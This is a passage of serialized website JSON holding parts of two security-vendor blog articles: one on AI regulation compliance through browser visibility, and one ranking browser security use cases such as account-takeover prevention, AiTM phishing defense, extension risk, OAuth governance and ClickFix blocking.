same.",{"data":2967,"content":2968,"nodeType":1317},{},[2969],{"data":2970,"marks":2971,"value":2973,"nodeType":865},{},[2972],{"type":926},"1. AI inventory and classification",{"data":2975,"content":2976,"nodeType":866},{},[2977],{"data":2978,"marks":2979,"value":2980,"nodeType":865},{},[],"You can't classify AI systems by risk level if you don't know which ones your employees are using. Multiple regulations now require organizations to maintain a complete inventory of AI tools in their environment — whether as part of risk classification, asset management, or third-party risk registers.",{"data":2982,"content":2986,"nodeType":912},{"target":2983},{"sys":2984},{"id":2985,"type":909,"linkType":910},"6MEapKaazFTulp7Ql0m7H1",[],{"data":2988,"content":2991,"nodeType":912},{"target":2989},{"sys":2990},{"id":1496,"type":909,"linkType":910},[],{"data":2993,"content":2994,"nodeType":1317},{},[2995],{"data":2996,"marks":2997,"value":2999,"nodeType":865},{},[2998],{"type":926},"2. AI literacy and employee guidance",{"data":3001,"content":3002,"nodeType":866},{},[3003,3007,3012],{"data":3004,"marks":3005,"value":3006,"nodeType":865},{},[],"Regulators increasingly expect organizations to demonstrate that employees understand the AI tools they use — not through annual training alone, but through continuous, contextual guidance at the point of interaction. Several frameworks now require auditable evidence that staff have been educated about AI risks and acceptable use policies. The common thread is the need for ",{"data":3008,"marks":3009,"value":3011,"nodeType":865},{},[3010],{"type":926},"ongoing",{"data":3013,"marks":3014,"value":3015,"nodeType":865},{},[]," education, not as a one-off compliance exercise, but continuously at the point of interaction.",{"data":3017,"content":3018,"nodeType":1317},{},[3019],{"data":3020,"marks":3021,"value":3023,"nodeType":865},{},[3022],{"type":926},"3. AI data governance and exposure control",{"data":3025,"content":3026,"nodeType":866},{},[3027],{"data":3028,"marks":3029,"value":3030,"nodeType":865},{},[],"Regulations are converging on the requirement for controls over what data enters AI tools. This includes sensitive personal data, health data, and data subject to automated decision-making. Organizations need to know where personal data is being processed by AI and have mechanisms to prevent unauthorized exposure.",{"data":3032,"content":3033,"nodeType":1317},{},[3034],{"data":3035,"marks":3036,"value":3038,"nodeType":865},{},[3037],{"type":926},"4. AI-resistant authentication and phishing defense",{"data":3040,"content":3041,"nodeType":866},{},[3042],{"data":3043,"marks":3044,"value":3045,"nodeType":865},{},[],"AI is making phishing attacks more convincing and harder to detect through traditional means. Several frameworks now require authentication methods that can withstand AI-enhanced attacks, specifically naming phishing-resistant options like digital certificates and security keys over SMS or voice-based authentication. Beyond authentication, organizations need defenses against AI-powered phishing that bypasses the lure-quality signals users were trained to spot.",{"data":3047,"content":3051,"nodeType":912},{"target":3048},{"sys":3049},{"id":3050,"type":909,"linkType":910},"6v3l0lGH6twfYi2JaM5fKt",[],{"data":3053,"content":3054,"nodeType":1317},{},[3055],{"data":3056,"marks":3057,"value":3059,"nodeType":865},{},[3058],{"type":926},"5. Third-party AI risk and supply chain governance",{"data":3061,"content":3062,"nodeType":866},{},[3063],{"data":3064,"marks":3065,"value":3066,"nodeType":865},{},[],"Employees adopt AI tools faster than procurement can track them, and each one that connects to corporate systems via OAuth creates a persistent trust relationship. Regulators now require organizations to know which third-party AI services they depend on, what permissions those services hold, and whether they introduce concentration risk. ",{"data":3068,"content":3072,"nodeType":912},{"target":3069},{"sys":3070},{"id":3071,"type":909,"linkType":910},"7xx2yYRJXBY55qTqBTTZcp",[],{"data":3074,"content":3075,"nodeType":972},{},[],{"data":3077,"content":3078,"nodeType":981},{},[3079],{"data":3080,"marks":3081,"value":3083,"nodeType":865},{},[3082],{"type":926},"How the regulations will be enforced",{"data":3085,"content":3086,"nodeType":866},{},[3087,3091,3099],{"data":3088,"marks":3089,"value":3090,"nodeType":865},{},[],"The consequences extend well beyond fines. EU AI Act penalties reach ",{"data":3092,"content":3094,"nodeType":889},{"uri":3093},"https://artificialintelligenceact.eu/article/99/",[3095],{"data":3096,"marks":3097,"value":3098,"nodeType":865},{},[],"€35 million or 7% of global turnover",{"data":3100,"marks":3101,"value":3102,"nodeType":865},{},[]," for prohibited practices, but the operational impact may bite harder: non-compliant AI systems cannot be placed on the EU market, and providers bear direct responsibility for conformity under Articles 16 and 26 — meaning the CISO who signed off on an AI deployment that turns out to be non-compliant has personal exposure, not just a budget line item.",{"data":3104,"content":3105,"nodeType":866},{},[3106,3110,3119],{"data":3107,"marks":3108,"value":3109,"nodeType":865},{},[],"Italy's implementation law (",{"data":3111,"content":3113,"nodeType":889},{"uri":3112},"https://www.nortonrosefulbright.com/en/knowledge/publications/9bfedfea/italy-enacts-law-no-132-2025-on-artificial-intelligence-sector-rules-and-next-steps",[3114],{"data":3115,"marks":3116,"value":3118,"nodeType":865},{},[3117],{"type":943},"Law No. 132/2025",{"data":3120,"marks":3121,"value":3122,"nodeType":865},{},[],") goes further, introducing criminal penalties including imprisonment for AI-related offenses like deepfake dissemination.",{"data":3124,"content":3125,"nodeType":866},{},[3126,3130,3138],{"data":3127,"marks":3128,"value":3129,"nodeType":865},{},[],"NYDFS penalties accumulate at $2,500 per day per violation, and the regulator has been aggressive: it levied ",{"data":3131,"content":3133,"nodeType":889},{"uri":3132},"https://pushsecurity.com/blog/what-the-expansion-of-nydfs-nycrr-part-500-means-for-mfa-compliance/",[3134],{"data":3135,"marks":3136,"value":3137,"nodeType":865},{},[],"$14 million in fines",{"data":3139,"marks":3140,"value":3141,"nodeType":865},{},[]," from companies with inadequate MFA. CISOs sign annual compliance certifications under §500.17 where false certification carries personal liability.",{"data":3143,"content":3144,"nodeType":866},{},[3145],{"data":3146,"marks":3147,"value":3148,"nodeType":865},{},[],"The UK's Data (Use and Access) Act preserves ICO enforcement powers with fines up to £17.5 million or 4% of global turnover, and introduces a new statutory right for individuals to complain directly to controllers about automated decisions, with a 30-day response clock.",{"data":3150,"content":3151,"nodeType":972},{},[],{"data":3153,"content":3154,"nodeType":981},{},[3155],{"data":3156,"marks":3157,"value":3159,"nodeType":865},{},[3158],{"type":926},"Where Push maps to these obligations",{"data":3161,"content":3162,"nodeType":866},{},[3163],{"data":3164,"marks":3165,"value":3166,"nodeType":865},{},[],"The five obligation categories above map to specific Push capabilities, some directly, others as supporting evidence. Push's relevance to AI regulation isn't a new product direction. The same capabilities that security teams already use for shadow SaaS discovery, phishing defense, and identity posture hardening are what compliance teams need to demonstrate AI governance.",{"data":3168,"content":3169,"nodeType":1317},{},[3170,3175],{"data":3171,"marks":3172,"value":3174,"nodeType":865},{},[3173],{"type":926},"AI inventory and shadow AI discovery.",{"data":3176,"marks":3177,"value":2688,"nodeType":865},{},[],{"data":3179,"content":3180,"nodeType":866},{},[3181],{"data":3182,"marks":3183,"value":3184,"nodeType":865},{},[],"Push identifies every AI app, AI browser extension, and AI OAuth integration in use across the organization, not from network traffic patterns or procurement records, but from actual observed usage in the browser.",{"data":3186,"content":3187,"nodeType":1317},{},[3188,3193],{"data":3189,"marks":3190,"value":3192,"nodeType":865},{},[3191],{"type":926},"AI usage policy enforcement and literacy evidence.",{"data":3194,"marks":3195,"value":2688,"nodeType":865},{},[],{"data":3197,"content":3198,"nodeType":866},{},[3199],{"data":3200,"marks":3201,"value":3202,"nodeType":865},{},[],"Push's custom app banners deliver contextual policy guidance the moment an employee accesses an AI tool: linking to approved usage policies, data handling guidelines, or approved alternatives. Banners are fully customizable: they can include specific instructions, link to AI policy documents or approved alternatives, and messages from the security team tailored to the tool or user group. ",{"data":3204,"content":3208,"nodeType":912},{"target":3205},{"sys":3206},{"id":3207,"type":909,"linkType":910},"4bt65QXDiyTi1eq7wnbHUh",[],{"data":3210,"content":3211,"nodeType":1317},{},[3212,3217],{"data":3213,"marks":3214,"value":3216,"nodeType":865},{},[3215],{"type":926},"AI data exposure controls.",{"data":3218,"marks":3219,"value":2688,"nodeType":865},{},[],{"data":3221,"content":3222,"nodeType":866},{},[3223],{"data":3224,"marks":3225,"value":3226,"nodeType":865},{},[],"Push observes what users type, paste, and upload into AI tools, and can apply real-time controls, warning or blocking when sensitive patterns are detected. This is browser-layer DLP scoped to the AI interaction surface: it won't replace a dedicated DLP platform, but it closes the specific gap that most DLP tools miss because they lack visibility into browser-based AI interactions. Push provides the detection and enforcement layer at the point where the data actually leaves the organization.",{"data":3228,"content":3229,"nodeType":1317},{},[3230,3235],{"data":3231,"marks":3232,"value":3234,"nodeType":865},{},[3233],{"type":926},"MFA verification and phishing defense.",{"data":3236,"marks":3237,"value":2688,"nodeType":865},{},[],{"data":3239,"content":3240,"nodeType":866},{},[3241],{"data":3242,"marks":3243,"value":3244,"nodeType":865},{},[],"Push detects where MFA is missing and identifies the type of MFA in use, directly supporting the push toward phishing-resistant authentication methods.",{"data":3246,"content":3247,"nodeType":866},{},[3248],{"data":3249,"marks":3250,"value":3251,"nodeType":865},{},[],"Push's behavioral phishing detection stops AiTM phishing, credential harvesting, device code phishing, and ClickFix attacks because Push detects malicious behavior in the browser, making it effective against even AI-powered phishing attacks, or those that are delivered over traditionally unmonitored channels such as search engines, social media, or even via phone call.",{"data":3253,"content":3257,"nodeType":912},{"target":3254},{"sys":3255},{"id":3256,"type":909,"linkType":910},"3hqv1nql8FvB8j7uRiddqB",[],{"data":3259,"content":3260,"nodeType":1317},{},[3261,3266],{"data":3262,"marks":3263,"value":3265,"nodeType":865},{},[3264],{"type":926},"Third-party AI risk visibility.",{"data":3267,"marks":3268,"value":2688,"nodeType":865},{},[],{"data":3270,"content":3271,"nodeType":866},{},[3272],{"data":3273,"marks":3274,"value":3275,"nodeType":865},{},[],"Push maps exactly which AI services employees have accessed and used, connected to other business apps via OAuth, what permissions those integrations hold, and who authorized them. This surfaces the AI providers that procurement never approved but employees adopted anyway, before they become a compliance finding or a breach vector.",{"data":3277,"content":3278,"nodeType":972},{},[],{"data":3280,"content":3281,"nodeType":981},{},[3282],{"data":3283,"marks":3284,"value":3286,"nodeType":865},{},[3285],{"type":926},"The compliance gap is an observability gap",{"data":3288,"content":3289,"nodeType":866},{},[3290],{"data":3291,"marks":3292,"value":3293,"nodeType":865},{},[],"The common failure mode across all five obligation categories is the same: the organization has a policy but can't demonstrate enforcement, because the tooling that would provide evidence operates at the wrong layer. IdP logs show managed authentication but not shadow AI logins. Network tools see traffic to AI domains but not the OAuth consent grants or the data in the clipboard. Annual training records exist but can't prove that an employee received guidance at the point of AI interaction.",{"data":3295,"content":3296,"nodeType":866},{},[3297],{"data":3298,"marks":3299,"value":3300,"nodeType":865},{},[],"Browser-layer telemetry closes each of these gaps because it's where the regulated activity actually happens, and where (with Push) you can observe and control it too.",{"data":3302,"content":3303,"nodeType":866},{},[3304],{"data":3305,"marks":3306,"value":3307,"nodeType":865},{},[],"The regulations covered here are the current landscape, but they aren't the final one. AI governance requirements are accelerating: NIST's AI cybersecurity framework profile is expected this summer, CISA's Five Eyes agentic AI guidance landed in May, and EU member states are still building out their national enforcement regimes.",{"data":3309,"content":3313,"nodeType":912},{"target":3310},{"sys":3311},{"id":3312,"type":909,"linkType":910},"OThPeKuFnpoo1e1FAGsFP",[],{"data":3315,"content":3316,"nodeType":972},{},[],{"data":3318,"content":3319,"nodeType":866},{},[3320],{"data":3321,"marks":3322,"value":1356,"nodeType":865},{},[],{"data":3324,"content":3325,"nodeType":866},{},[3326],{"data":3327,"marks":3328,"value":1363,"nodeType":865},{},[],{"data":3330,"content":3331,"nodeType":866},{},[3332,3335,3342],{"data":3333,"marks":3334,"value":21,"nodeType":865},{},[],{"data":3336,"content":3337,"nodeType":889},{"uri":1372},[3338],{"data":3339,"marks":3340,"value":1378,"nodeType":865},{},[3341],{"type":943},{"data":3343,"marks":3344,"value":21,"nodeType":865},{},[],"AI regulation is here: how browser visibility and control can achieve compliance","AI regulations across the US, EU, and UK are converging on obligations that most organizations can't meet without browser visibility into AI tool use.","2026-06-02T00:00:00.000Z","browser-visibility-and-control-can-achieve-ai-compliance",{"items":3350},[3351,3353],{"sys":3352,"name":2314},{"id":2313},{"sys":3354,"name":297},{"id":2310},{"items":3356},[3357],{"fullName":3358,"firstName":3359,"jobTitle":3360,"profilePicture":3361},"John Creaton","John","Head of Legal",{"url":3362},"https://images.ctfassets.net/y1cdw1ablpvd/ykgZqhGCFFxufznVsqTiM/6bd977c68dd504642f0064bdb90ebdee/1774636973277.jpeg",{"__typename":1429,"sys":3364,"content":3366,"title":4601,"synopsis":4602,"hashTags":59,"publishedDate":4603,"slug":4604,"tagsCollection":4605,"authorsCollection":4611},{"id":3365},"6MoHWfQlVildcFYKSbfMcE",{"json":3367},{"data":3368,"content":3369,"nodeType":1382},{},[3370,3386,3392,3399,3406,3412,3415,3423,3431,3450,3498,3504,3519,3522,3530,3537,3565,3606,3613,3616,3624,3632,3639,3645,3652,3655,3663,3670,3712,3749,3756,3759,3767,3774,3799,3806,3851,3858,3861,3869,3877,3922,3929,3935,3938,3946,3954,3987,3994,4000,4007,4010,4018,4026,4055,4062,4069,4076,4079,4087,4095,4102,4108,4115,4138,4167,4170,4178,4186,4193,4200,4203,4211,4273,4276,4284,4291,4582,4585],{"data":3371,"content":3372,"nodeType":866},{},[3373,3377,3382],{"data":3374,"marks":3375,"value":3376,"nodeType":865},{},[],"Browser security solutions are one of the most significant additions to the enterprise security stack in recent years — and the data shows it. The browser is where ",{"data":3378,"marks":3379,"value":3381,"nodeType":865},{},[3380],{"type":926},"85% of work now happens",{"data":3383,"marks":3384,"value":3385,"nodeType":865},{},[],", where AI tools are accessed, and where attackers increasingly choose to strike.",{"data":3387,"content":3391,"nodeType":912},{"target":3388},{"sys":3389},{"id":3390,"type":909,"linkType":910},"5P6PyFbn4EakRNlIWtNzyL",[],{"data":3393,"content":3394,"nodeType":866},{},[3395],{"data":3396,"marks":3397,"value":3398,"nodeType":865},{},[],"But browser security is a nascent category. Getting a clear picture of which solution is right for your team, and how to get the most out of it, isn't straightforward. Current solutions on the market serve a wide range of IT and security use cases, with varying degrees of depth and differentiation across them. Not all use cases are equal in terms of their security value, and not all of them are best addressed in the browser.",{"data":3400,"content":3401,"nodeType":866},{},[3402],{"data":3403,"marks":3404,"value":3405,"nodeType":865},{},[],"This article ranks the security problems that browser security solutions can address by the value they deliver: a combination of the risk reduction on offer, and the degree to which the browser is genuinely the best (or only) layer to solve the problem. ",{"data":3407,"content":3411,"nodeType":912},{"target":3408},{"sys":3409},{"id":3410,"type":909,"linkType":910},"6SJPvEHizSYk29lEvVVNj",[],{"data":3413,"content":3414,"nodeType":972},{},[],{"data":3416,"content":3417,"nodeType":981},{},[3418],{"data":3419,"marks":3420,"value":3422,"nodeType":865},{},[3421],{"type":926},"#1 — Account takeover prevention: detecting credential attacks across all vectors",{"data":3424,"content":3425,"nodeType":866},{},[3426],{"data":3427,"marks":3428,"value":3430,"nodeType":865},{},[3429],{"type":926},"Security value: Very high | Browser fit: Uniquely suited",{"data":3432,"content":3433,"nodeType":866},{},[3434,3438,3446],{"data":3435,"marks":3436,"value":3437,"nodeType":865},{},[],"Account takeover (ATO) is the dominant entry point for enterprise breaches: ",{"data":3439,"content":3441,"nodeType":889},{"uri":3440},"https://www.crowdstrike.com/en-gb/resources/infographics/identity-security-risk-review/",[3442],{"data":3443,"marks":3444,"value":3445,"nodeType":865},{},[],"80% of all modern breaches involve compromised or stolen identities",{"data":3447,"marks":3448,"value":3449,"nodeType":865},{},[],". The attack surface is far wider than most identity tooling can see: credential stuffing, password spraying, ghost logins (password-based fallback authentication that persists after SSO is configured), weak or reused credentials on shadow SaaS apps, and accounts where MFA was never enforced.",{"data":3451,"content":3452,"nodeType":866},{},[3453,3457,3465,3468,3473,3477,3482,3486,3494],{"data":3454,"marks":3455,"value":3456,"nodeType":865},{},[],"According to ",{"data":3458,"content":3460,"nodeType":889},{"uri":3459},"https://cf-assets.www.cloudflare.com/slt3lc6tev37/sWDBUMNVtEJB9ZFLt1dUU/8d69e92de2edfb3bf59e7d21d57e7e1a/Cloudflare-2026-threat-report.pdf",[3461],{"data":3462,"marks":3463,"value":3464,"nodeType":865},{},[],"Cloudflare's 2026 Threat Report",{"data":3466,"marks":3467,"value":2717,"nodeType":865},{},[],{"data":3469,"marks":3470,"value":3472,"nodeType":865},{},[3471],{"type":926},"63% of all human logins involve credentials already compromised elsewhere",{"data":3474,"marks":3475,"value":3476,"nodeType":865},{},[],", and ",{"data":3478,"marks":3479,"value":3481,"nodeType":865},{},[3480],{"type":926},"94% of all login attempts originate from bots",{"data":3483,"marks":3484,"value":3485,"nodeType":865},{},[],". The ",{"data":3487,"content":3489,"nodeType":889},{"uri":3488},"https://pushsecurity.com/blog/snowflake-retro/",[3490],{"data":3491,"marks":3492,"value":3493,"nodeType":865},{},[],"Snowflake breach",{"data":3495,"marks":3496,"value":3497,"nodeType":865},{},[]," — 165+ organizations compromised, 1 billion+ records stolen — was powered almost entirely by ghost logins: accounts missing MFA that were susceptible to credential stuffing. It's particularly telling that 80% of the accounts impacted had prior breach exposure.",{"data":3499,"content":3503,"nodeType":912},{"target":3500},{"sys":3501},{"id":3502,"type":909,"linkType":910},"HbZ66kp5DiAZtwNGFJK7d",[],{"data":3505,"content":3506,"nodeType":866},{},[3507,3511,3516],{"data":3508,"marks":3509,"value":3510,"nodeType":865},{},[],"For organizations with contractors and BYOD users, the browser extension is also the only enterprise control deployable on devices that can't be MDM-enrolled — extending ATO detection to exactly the place where, per Verizon DBIR 2025, ",{"data":3512,"marks":3513,"value":3515,"nodeType":865},{},[3514],{"type":926},"46% of infostealer infections originate",{"data":3517,"marks":3518,"value":1615,"nodeType":865},{},[],{"data":3520,"content":3521,"nodeType":972},{},[],{"data":3523,"content":3524,"nodeType":981},{},[3525],{"data":3526,"marks":3527,"value":3529,"nodeType":865},{},[3528],{"type":926},"#2 — Detecting and stopping advanced phishing: AiTM, multi-channel delivery, and zero-day lures",{"data":3531,"content":3532,"nodeType":866},{},[3533],{"data":3534,"marks":3535,"value":3430,"nodeType":865},{},[3536],{"type":926},{"data":3538,"content":3539,"nodeType":866},{},[3540,3544,3552,3556,3561],{"data":3541,"marks":3542,"value":3543,"nodeType":865},{},[],"Adversary-in-the-Middle (AiTM) phishing — where an attacker's reverse proxy intercepts credentials and session tokens in real time — has become the standard technique for bypassing MFA at scale. ",{"data":3545,"content":3547,"nodeType":889},{"uri":3546},"https://www.esentire.com/resources/library/2026-threat-report",[3548],{"data":3549,"marks":3550,"value":3551,"nodeType":865},{},[],"eSentire's 2026 Threat Report",{"data":3553,"marks":3554,"value":3555,"nodeType":865},{},[]," attributes ",{"data":3557,"marks":3558,"value":3560,"nodeType":865},{},[3559],{"type":926},"63% of account compromise incidents to PhaaS kits",{"data":3562,"marks":3563,"value":3564,"nodeType":865},{},[],", with account compromise surging 389% year-over-year.",{"data":3566,"content":3567,"nodeType":866},{},[3568,3572,3580,3584,3589,3593,3602],{"data":3569,"marks":3570,"value":3571,"nodeType":865},{},[],"Traditional phishing controls are also no longer in the right place to intercept these attacks. The delivery channel has shifted decisively away from email: ",{"data":3573,"content":3575,"nodeType":889},{"uri":3574},"https://cloud.google.com/blog/topics/threat-intelligence/m-trends-2026",[3576],{"data":3577,"marks":3578,"value":3579,"nodeType":865},{},[],"Mandiant M-Trends 2026",{"data":3581,"marks":3582,"value":3583,"nodeType":865},{},[]," found email phishing dropped from 14% to 6% as an infection vector, and Push data shows ",{"data":3585,"marks":3586,"value":3588,"nodeType":865},{},[3587],{"type":926},"roughly 1 in 3 phishing payloads intercepted were delivered outside email entirely",{"data":3590,"marks":3591,"value":3592,"nodeType":865},{},[]," — via search engine malvertising, social platforms, and compromised websites. Meanwhile, ",{"data":3594,"content":3596,"nodeType":889},{"uri":3595},"https://www.spamhaus.com/resource-center/supporting-researchers-with-passive-dns/",[3597],{"data":3598,"marks":3599,"value":3601,"nodeType":865},{},[3600],{"type":926},"89% of phishing domains are active for less than two days",{"data":3603,"marks":3604,"value":3605,"nodeType":865},{},[],", making blocklist-based detection structurally too slow — attackers can spin up, tear down, and move on before blocklists can catch up.",{"data":3607,"content":3608,"nodeType":866},{},[3609],{"data":3610,"marks":3611,"value":3612,"nodeType":865},{},[],"Modern phishing plays out entirely inside the browser session. The only detection layer that can see the phishing page structure, the credential entry, and the anomalous token context is the browser itself. Browser-native detection analyses page behavior rather than matching known-bad domains, which means it fires on zero-day kits regardless of how recently the infrastructure was stood up. Controls like credential entry guardrails add an additional layer — blocking corporate passwords from being submitted to unauthorized domains independently of content and behavior-based detections.",{"data":3614,"content":3615,"nodeType":972},{},[],{"data":3617,"content":3618,"nodeType":981},{},[3619],{"data":3620,"marks":3621,"value":3623,"nodeType":865},{},[3622],{"type":926},"#3 — Identity posture hardening: enforcing security across the apps your IdP doesn't manage",{"data":3625,"content":3626,"nodeType":866},{},[3627],{"data":3628,"marks":3629,"value":3631,"nodeType":865},{},[3630],{"type":926},"Security value: High | Browser fit: Uniquely suited",{"data":3633,"content":3634,"nodeType":866},{},[3635],{"data":3636,"marks":3637,"value":3638,"nodeType":865},{},[],"The first challenge is knowing what you're protecting. Every identity an employee creates — every app they sign up to, every password they set, every login that bypasses SSO — is an authentication event that happens inside a browser session. The browser is the only layer that observes all of these events regardless of whether the app is sanctioned, managed, or even known to IT. Solutions that rely on API-level integrations with known apps, network traffic inspection, or email sign-up notifications can only ever build a partial picture, because they can only see apps they already know about. The browser sees the login itself, which means it discovers the identity at the moment it's created or used — authentication method, password strength, MFA status, and all.",{"data":3640,"content":3644,"nodeType":912},{"target":3641},{"sys":3642},{"id":3643,"type":909,"linkType":910},"HETvBCPsKGkqLVtaasXH0",[],{"data":3646,"content":3647,"nodeType":866},{},[3648],{"data":3649,"marks":3650,"value":3651,"nodeType":865},{},[],"But discovery without enforcement is just an inventory problem. Being in the browser means that you're in a great position to act on what it finds at the moment of authentication. Browser-native guardrails that prompt MFA enrollment, guide users toward stronger credentials, and redirect to SSO login paths close the gap at scale, on every app, including those the IdP has never seen. They also produce the continuous, auditable evidence of MFA coverage and credential hygiene across the full application estate that regulators, insurers, and auditors increasingly require — evidence that no IdP-centric tool can provide for apps outside its scope.",{"data":3653,"content":3654,"nodeType":972},{},[],{"data":3656,"content":3657,"nodeType":981},{},[3658],{"data":3659,"marks":3660,"value":3662,"nodeType":865},{},[3661],{"type":926},"#4 — Browser extension security",{"data":3664,"content":3665,"nodeType":866},{},[3666],{"data":3667,"marks":3668,"value":3631,"nodeType":865},{},[3669],{"type":926},{"data":3671,"content":3672,"nodeType":866},{},[3673,3677,3686,3689,3697,3700,3708],{"data":3674,"marks":3675,"value":3676,"nodeType":865},{},[],"Browser extensions have become one of the most talked-about attack surfaces in security over the past 18 months, and understandably so — a string of high-profile supply chain compromises have collectively impacted tens of millions of users since late 2024 (",{"data":3678,"content":3680,"nodeType":889},{"uri":3679},"https://www.cyberhaven.com/blog/cyberhavens-chrome-extension-security-incident-and-what-were-doing-about-it",[3681],{"data":3682,"marks":3683,"value":3685,"nodeType":865},{},[3684],{"type":943},"Cyberhaven",{"data":3687,"marks":3688,"value":2717,"nodeType":865},{},[],{"data":3690,"content":3692,"nodeType":889},{"uri":3691},"https://thehackernews.com/2025/12/darkspectre-browser-extension-campaigns.html",[3693],{"data":3694,"marks":3695,"value":3696,"nodeType":865},{},[],"DarkSpectre",{"data":3698,"marks":3699,"value":2717,"nodeType":865},{},[],{"data":3701,"content":3703,"nodeType":889},{"uri":3702},"https://thehackernews.com/2025/12/trust-wallet-chrome-extension-hack.html",[3704],{"data":3705,"marks":3706,"value":3707,"nodeType":865},{},[],"Trust Wallet",{"data":3709,"marks":3710,"value":3711,"nodeType":865},{},[],", among many others).",{"data":3713,"content":3714,"nodeType":866},{},[3715,3718,3727,3731,3736,3740,3745],{"data":3716,"marks":3717,"value":21,"nodeType":865},{},[],{"data":3719,"content":3721,"nodeType":889},{"uri":3720},"https://pushsecurity.com/blog/why-browser-extension-risk-scoring-wont-predict-your-next-breach/",[3722],{"data":3723,"marks":3724,"value":3726,"nodeType":865},{},[3725],{"type":943},"Analysis of 20,000+ extensions across Push customers",{"data":3728,"marks":3729,"value":3730,"nodeType":865},{},[]," found ",{"data":3732,"marks":3733,"value":3735,"nodeType":865},{},[3734],{"type":926},"46.76% have the permission combinations needed to perform account takeover with no user interaction",{"data":3737,"marks":3738,"value":3739,"nodeType":865},{},[],", making permissions-based risk scoring effectively useless as a triage tool. The real threat model is not malicious extensions at install time — it's legitimate extensions that ",{"data":3741,"marks":3742,"value":3744,"nodeType":865},{},[3743],{"type":898},"become",{"data":3746,"marks":3747,"value":3748,"nodeType":865},{},[]," malicious after an ownership transfer, developer account compromise, or silent update push. Every major extension supply chain breach of the past 18 months scored as low-risk immediately before compromise.",{"data":3750,"content":3751,"nodeType":866},{},[3752],{"data":3753,"marks":3754,"value":3755,"nodeType":865},{},[],"SWGs and network tools are structurally blind to this attack surface: a malicious extension exfiltrating session tokens generates no anomalous network signal — its traffic is indistinguishable from normal browsing. Endpoint agents have no visibility into extension behavior at the session level. Extension inventory, supply chain change monitoring — ownership transfers, permission escalations, developer contact changes — and enforcement all require browser-layer access by definition.",{"data":3757,"content":3758,"nodeType":972},{},[],{"data":3760,"content":3761,"nodeType":981},{},[3762],{"data":3763,"marks":3764,"value":3766,"nodeType":865},{},[3765],{"type":926},"#5 — Shadow SaaS discovery and OAuth integration governance",{"data":3768,"content":3769,"nodeType":866},{},[3770],{"data":3771,"marks":3772,"value":3631,"nodeType":865},{},[3773],{"type":926},{"data":3775,"content":3776,"nodeType":866},{},[3777,3781,3786,3790,3795],{"data":3778,"marks":3779,"value":3780,"nodeType":865},{},[],"Shadow SaaS discovery shares DNA with identity posture hardening (#3) — both start with the same browser-native visibility into login events that no other layer can replicate. Where identity posture focuses on hardening ",{"data":3782,"marks":3783,"value":3785,"nodeType":865},{},[3784],{"type":898},"how",{"data":3787,"marks":3788,"value":3789,"nodeType":865},{},[]," employees authenticate, shadow SaaS discovery focuses on ",{"data":3791,"marks":3792,"value":3794,"nodeType":865},{},[3793],{"type":898},"what",{"data":3796,"marks":3797,"value":3798,"nodeType":865},{},[]," they authenticate to: surfacing the full estate of applications in use across the organization, including those that IT has never sanctioned or even heard of.",{"data":3800,"content":3801,"nodeType":866},{},[3802],{"data":3803,"marks":3804,"value":3805,"nodeType":865},{},[],"OAuth integration governance is the component of shadow SaaS that is both the most potentially damaging and the hardest to surface through other means. The SaaS-to-SaaS OAuth pivot is now an industrialized attack pattern.",{"data":3807,"content":3808,"nodeType":1616},{},[3809,3830],{"data":3810,"content":3811,"nodeType":1570},{},[3812],{"data":3813,"content":3814,"nodeType":866},{},[3815,3818,3826],{"data":3816,"marks":3817,"value":1449,"nodeType":865},{},[],{"data":3819,"content":3821,"nodeType":889},{"uri":3820},"https://pushsecurity.com/blog/analyzing-the-instructure-breach/",[3822],{"data":3823,"marks":3824,"value":3825,"nodeType":865},{},[],"ShinyHunters",{"data":3827,"marks":3828,"value":3829,"nodeType":865},{},[]," Salesforce campaign — which compromised 1,000+ organizations and 1.5 billion records — demonstrated the full chain: the attacker didn't stop at stealing customer data but harvested OAuth tokens, AWS access keys, and Snowflake tokens from breached tenants and pivoted through connected services like Salesloft, Drift, and Gainsight to reach hundreds more organizations.",{"data":3831,"content":3832,"nodeType":1570},{},[3833],{"data":3834,"content":3835,"nodeType":866},{},[3836,3839,3847],{"data":3837,"marks":3838,"value":1449,"nodeType":865},{},[],{"data":3840,"content":3842,"nodeType":889},{"uri":3841},"https://pushsecurity.com/blog/unpacking-the-vercel-breach/",[3843],{"data":3844,"marks":3845,"value":3846,"nodeType":865},{},[],"Context.ai → Vercel",{"data":3848,"marks":3849,"value":3850,"nodeType":865},{},[]," chain followed the same logic — stored OAuth tokens from a forgotten AI app trial provided the bridge into Google Workspace, internal dashboards, and API keys. These are not isolated incidents; they are the repeatable playbook for extracting maximum value from a single compromise through the trust relationships that OAuth connections encode.",{"data":3852,"content":3853,"nodeType":866},{},[3854],{"data":3855,"marks":3856,"value":3857,"nodeType":865},{},[],"Every OAuth consent grant transits the browser — the authorization prompt, the scope disclosure, the user's approval click, and the redirect that completes the grant all happen inside a browser session — which makes the browser the only layer where an unwanted grant can be intercepted before the token is issued and the persistent access path is created. Once a token exists, the damage is done: it survives password resets, MFA changes, and session revocations, and revoking it after the fact requires first knowing it was granted, which most organizations do not.",{"data":3859,"content":3860,"nodeType":972},{},[],{"data":3862,"content":3863,"nodeType":981},{},[3864],{"data":3865,"marks":3866,"value":3868,"nodeType":865},{},[3867],{"type":926},"#6 — Blocking ClickFix and social engineering-based malware delivery",{"data":3870,"content":3871,"nodeType":866},{},[3872],{"data":3873,"marks":3874,"value":3876,"nodeType":865},{},[3875],{"type":926},"Security value: High | Browser fit: Strong for interception — shared with endpoint security for execution. ConsentFix is a browser-native exception that is T1-aligned.",{"data":3878,"content":3879,"nodeType":866},{},[3880,3884,3889,3893,3900,3904,3909,3913,3918],{"data":3881,"marks":3882,"value":3883,"nodeType":865},{},[],"ClickFix was the most common initial access vector reported by Microsoft in 2025, accounting for ",{"data":3885,"marks":3886,"value":3888,"nodeType":865},{},[3887],{"type":926},"47% of observed attacks",{"data":3890,"marks":3891,"value":3892,"nodeType":865},{},[],". CrowdStrike's ",{"data":3894,"content":3895,"nodeType":889},{"uri":1929},[3896],{"data":3897,"marks":3898,"value":3899,"nodeType":865},{},[],"2026 Global Threat Report",{"data":3901,"marks":3902,"value":3903,"nodeType":865},{},[]," identified fake CAPTCHA lures as the most common malware download type, increasing ",{"data":3905,"marks":3906,"value":3908,"nodeType":865},{},[3907],{"type":926},"563% year-over-year",{"data":3910,"marks":3911,"value":3912,"nodeType":865},{},[],". The technique writes a malicious command to the victim's clipboard and social-engineers them into executing it. It is fileless (bypassing download scanning), user-executed (bypassing endpoint behavioral detections), and ",{"data":3914,"marks":3915,"value":3917,"nodeType":865},{},[3916],{"type":926},"4 in 5 ClickFix payloads intercepted by Push arrived via search 